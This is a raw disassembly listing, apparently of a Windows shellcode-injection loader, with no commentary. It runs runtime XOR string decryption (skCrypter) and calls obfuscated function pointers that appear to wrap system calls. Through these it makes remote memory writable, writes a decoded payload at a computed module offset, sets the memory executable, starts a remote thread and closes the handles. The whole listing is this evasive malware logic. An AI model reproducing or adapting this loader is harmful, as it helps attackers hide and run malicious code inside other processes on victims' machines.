mov rdx, qword [rbp + rax*8 + 0x210]
lea rax, [rbp + 0x90]
mov r8, rdx
mov rdx, rax
lea rax, str._t_s__0x_08X__n
mov rcx, rax
call fcn.216591370
mov eax, dword [rbp + 0x5a2c]
cdqe
mov rax, qword [rbp + rax*8 + 0x210]
mov qword [rbp + 0x5a30], rax
lea rax, [rbp + 0x55fe]
lea rdx, [rbp + 0x55fd]
mov rcx, rax
call fcn.216592b60
mov rax, qword [rbp + 0x55fe]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp + 0x5603]
mov qword [rbp - 0x1b], rax
lea rax, [rbp - 0x20]
mov rcx, rax
call method.int_safe_print_skc.skCrypter_13___char_50___char_48__char____skc::skCrypter_13___char_50___char_48__char__
lea rax, [rbp + 0x1ac]
lea rdx, [rbp + 0x560b]
mov rcx, rax
call fcn.216592bda
lea rax, [rbp + 0x1ac]
mov qword [rbp + 0x5748], rax
mov rax, qword [rbp + 0x5748]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x2165990c6
lea rax, [rbp + 0x1ac]
lea rdx, [rbp + 0x1ac]
mov qword [rbp + 0x5740], rdx
mov qword [rbp + 0x5738], rax
mov dword [rbp + 0x5734], 0
jmp 0x2165990bc
mov eax, dword [rbp + 0x5734]
movsxd rdx, eax
mov rax, qword [rbp + 0x5738]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x5734]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5740]
mov eax, dword [rbp + 0x5734]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5734], 1
cmp dword [rbp + 0x5734], 0xb
jle 0x21659905d
nop
lea rax, [rbp + 0x1ac]
lea rdx, [rbp + 0x90]
mov r8, rdx
mov rdx, rax
lea rax, str._s_s_n
mov rcx, rax
call fcn.216591370
mov dword [rbp + 0x5730], 0
jmp 0x21659910c
mov eax, dword [rbp + 0x5730]
cdqe
mov byte [rbp + rax + 0x1ac], 0
add dword [rbp + 0x5730], 1
cmp dword [rbp + 0x5730], 0xb
jle 0x2165990f5
nop
lea rax, [rbp + 0x1a1]
lea rdx, [rbp + 0x560c]
mov rcx, rax
call fcn.216592c4c
mov eax, dword [rbp + 0x5a2c]
cdqe
mov r8, qword [rbp + rax*8 + 0x210]
lea rax, [rbp + 0x1a1]
mov qword [rbp + 0x5728], rax
mov rax, qword [rbp + 0x5728]
movzx eax, byte [rax + 0xa]
test al, al
setne al
test al, al
je 0x2165991f3
lea rax, [rbp + 0x1a1]
lea rdx, [rbp + 0x1a1]
mov qword [rbp + 0x5720], rdx
mov qword [rbp + 0x5718], rax
mov dword [rbp + 0x5714], 0
jmp 0x2165991e9
mov eax, dword [rbp + 0x5714]
movsxd rdx, eax
mov rax, qword [rbp + 0x5718]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x5714]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x5720]
mov eax, dword [rbp + 0x5714]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5714], 1
cmp dword [rbp + 0x5714], 0xa
jle 0x21659918a
nop
lea rax, [rbp + 0x1a1]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.216591370
mov dword [rbp + 0x5710], 0
jmp 0x21659922f
mov eax, dword [rbp + 0x5710]
cdqe
mov byte [rbp + rax + 0x1a1], 0
add dword [rbp + 0x5710], 1
cmp dword [rbp + 0x5710], 0xa
jle 0x216599218
nop
lea rax, [rbp + 0x70]
mov rcx, rax
call fcn.21663a5f0
add dword [rbp + 0x5a2c], 1
mov eax, dword [rbp + 0x5a2c]
movsxd rdx, eax
mov eax, dword [rbp + 0x20c]
mov eax, eax
shr rax, 3
cmp rdx, rax
jb 0x216598e1a
mov eax, dword [rbp + 0x58f4]
movsxd rdx, eax
mov rax, qword [rbp + 0x5a30]
add rax, rdx
mov qword [rbp + 0x200], rax
lea rax, [rbp + 0x1e0]
lea rdx, [rbp + 0x560d]
mov rcx, rax
call fcn.216592cb6
mov r8, qword [rbp + 0x200]
lea rax, [rbp + 0x1e0]
mov qword [rbp + 0x5708], rax
mov rax, qword [rbp + 0x5708]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
je 0x216599358
lea rax, [rbp + 0x1e0]
lea rdx, [rbp + 0x1e0]
mov qword [rbp + 0x5700], rdx
mov qword [rbp + 0x56f8], rax
mov dword [rbp + 0x56f4], 0
jmp 0x21659934e
mov eax, dword [rbp + 0x56f4]
movsxd rdx, eax
mov rax, qword [rbp + 0x56f8]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x56f4]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x5700]
mov eax, dword [rbp + 0x56f4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x56f4], 1
cmp dword [rbp + 0x56f4], 0x13
jle 0x2165992ef
nop
lea rax, [rbp + 0x1e0]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.216591370
mov dword [rbp + 0x56f0], 0
jmp 0x216599394
mov eax, dword [rbp + 0x56f0]
cdqe
mov byte [rbp + rax + 0x1e0], 0
add dword [rbp + 0x56f0], 1
cmp dword [rbp + 0x56f0], 0x13
jle 0x21659937d
nop
mov rax, qword [sym.z.dll_payload_len]
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x200]
and eax, 0xfff
mov qword [rbp + 0x58e8], rax
lea rax, [rbp + 0x1c3]
lea rdx, [rbp + 0x560e]
mov rcx, rax
call fcn.216592d68
lea rax, [rbp + 0x1c3]
mov qword [rbp + 0x56e8], rax
mov rax, qword [rbp + 0x56e8]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x21659948c
lea rax, [rbp + 0x1c3]
lea rdx, [rbp + 0x1c3]
mov qword [rbp + 0x56e0], rdx
mov qword [rbp + 0x56d8], rax
mov dword [rbp + 0x56d4], 0
jmp 0x216599482
mov eax, dword [rbp + 0x56d4]
movsxd rdx, eax
mov rax, qword [rbp + 0x56d8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x56d4]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x56e0]
mov eax, dword [rbp + 0x56d4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x56d4], 1
cmp dword [rbp + 0x56d4], 0xc
jle 0x216599423
nop
lea rax, [rbp + 0x1c3]
mov rdx, qword [rbp + 0x58e8]
mov r8, rdx
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.216591370
mov dword [rbp + 0x56d0], 0
jmp 0x2165994d2
mov eax, dword [rbp + 0x56d0]
cdqe
mov byte [rbp + rax + 0x1c3], 0
add dword [rbp + 0x56d0], 1
cmp dword [rbp + 0x56d0], 0xc
jle 0x2165994bb
nop
mov r10, qword [sym.z.dll_XOhOzxOxOQnEqJdBymH]
lea r8, [rbp + 0x1d8]
lea rdx, [rbp + 0x200]
mov rax, qword [rbp + 0x5918]
lea rcx, [rbp + 0x224c]
mov qword [rsp + 0x20], rcx
mov r9d, 4
mov rcx, rax
call r10
mov dword [rbp + 0x5928], eax
lea rax, [rbp + 0x5610]
lea rdx, [rbp + 0x560f]
mov rcx, rax
call fcn.216592de2
mov rax, qword [rbp + 0x5610]
mov rdx, qword [rbp + 0x5618]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x5620]
mov rdx, qword [rbp + 0x5628]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x562e]
mov qword [rbp - 2], rax
mov edx, dword [rbp + 0x5928]
lea rax, [rbp - 0x20]
mov rcx, rax
call method.int_safe_print_skc.skCrypter_38___char_50___char_48__char____skc::skCrypter_38___char_50___char_48__char___long_
mov r10, qword [sym.z.dll_wUpcQZMqECOkbexNCmX]
mov r8, qword [rbp + 0x1d8]
mov rcx, qword [sym.z.dll_decoded]
mov rax, qword [rbp + 0x200]
mov rdx, rax
mov rax, qword [rbp + 0x58e8]
add rax, rdx
mov r11, rax
mov rax, qword [rbp + 0x5918]
lea rdx, [rbp + 0x1d0]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
mov dword [rbp + 0x5928], eax
lea rax, [rbp + 0x5640]
lea rdx, [rbp + 0x563f]
mov rcx, rax
call fcn.216592f24
mov rax, qword [rbp + 0x5640]
mov rdx, qword [rbp + 0x5648]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x5650]
mov rdx, qword [rbp + 0x5658]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x565e]
mov qword [rbp - 2], rax
mov edx, dword [rbp + 0x5928]
lea rax, [rbp - 0x20]
mov rcx, rax
call method.int_safe_print_skc.skCrypter_38___char_50___char_48__char____skc::skCrypter_38___char_50___char_48__char___long_
mov r10, qword [sym.z.dll_XOhOzxOxOQnEqJdBymH]
lea r8, [rbp + 0x1d8]
lea rdx, [rbp + 0x200]
mov rax, qword [rbp + 0x5918]
lea rcx, [rbp + 0x224c]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
call r10
mov dword [rbp + 0x5928], eax
lea rax, [rbp + 0x5670]
lea rdx, [rbp + 0x566f]
mov rcx, rax
call fcn.216593066
mov rax, qword [rbp + 0x5670]
mov rdx, qword [rbp + 0x5678]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x5680]
mov rdx, qword [rbp + 0x5688]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x568e]
mov qword [rbp - 2], rax
mov edx, dword [rbp + 0x5928]
lea rax, [rbp - 0x20]
mov rcx, rax
call method.int_safe_print_skc.skCrypter_38___char_50___char_48__char____skc::skCrypter_38___char_50___char_48__char___long_
mov r10, qword [sym.z.dll_nxlsXNlwWiXLPrmFmyw]
mov rcx, qword [rbp + 0x5918]
lea rax, [rbp + 0x1b8]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rdx, qword [rbp + 0x5900]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0
mov edx, 0x20000000
mov rcx, rax
call r10
mov dword [rbp + 0x5928], eax
lea rax, [rbp + 0x56a0]
lea rdx, [rbp + 0x569f]
mov rcx, rax
call fcn.2165931a8
mov rax, qword [rbp + 0x56a0]
mov rdx, qword [rbp + 0x56a8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x56b0]
mov rdx, qword [rbp + 0x56b8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x56be]
mov qword [rbp - 2], rax
mov edx, dword [rbp + 0x5928]
lea rax, [rbp - 0x20]
mov rcx, rax
call method.int_safe_print_skc.skCrypter_38___char_50___char_48__char____skc::skCrypter_38___char_50___char_48__char___long_
mov rdx, qword [sym.z.dll_sRDVDRnxjKrdCrmQUTh]
mov rax, qword [rbp + 0x2250]
mov rcx, rax
call rdx
mov rdx, qword [sym.z.dll_sRDVDRnxjKrdCrmQUTh]
mov rax, qword [rbp + 0x1b8]
mov rcx, rax
call rdx
mov rdx, qword [sym.z.dll_sRDVDRnxjKrdCrmQUTh]
mov rax, qword [rbp + 0x5918]
mov rcx, rax
call rdx
mov ebx, 0
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.21663a5f0
mov eax, ebx
jmp 0x21659afa4
add rsp, 0x5ad0
pop rbx
pop rdi
pop rbp
ret